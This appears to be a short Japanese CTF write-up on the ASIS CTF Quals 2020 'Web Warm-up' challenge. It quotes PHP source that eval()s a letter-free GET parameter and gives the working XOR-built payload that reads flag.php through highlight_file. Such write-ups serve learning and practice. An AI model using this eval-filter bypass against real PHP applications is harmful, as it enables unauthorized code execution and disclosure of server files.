はまやんはまやんはまやん

hamayanhamayan's blog

Web Warm-up [ASIS CTF Quals 2020]

CTFtime.org / ASIS CTF Quals 2020 / Web Warm-up

Warm up! Can you break all the tasks? I'll pray for you!
read flag.php
Link: http://69.90.132.196:5003/?view-source

ソースコードを見せてくれる。

if(isset($_GET['warmup'])){
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
}else{
    die("No param given");
}

アルファベットが使えず60文字以内に納めないといけないみたい。
ググる
[PHP-CTF] No letter without digital webshell - Programmer Sought
これはよさそう。

色々やってみて、以下でフラグが取れた。

?warmup=$__="`{{{"^"?<>/";${$__}[%27_%27](${$__}[%27__%27]);&_=highlight_file&__=flag.php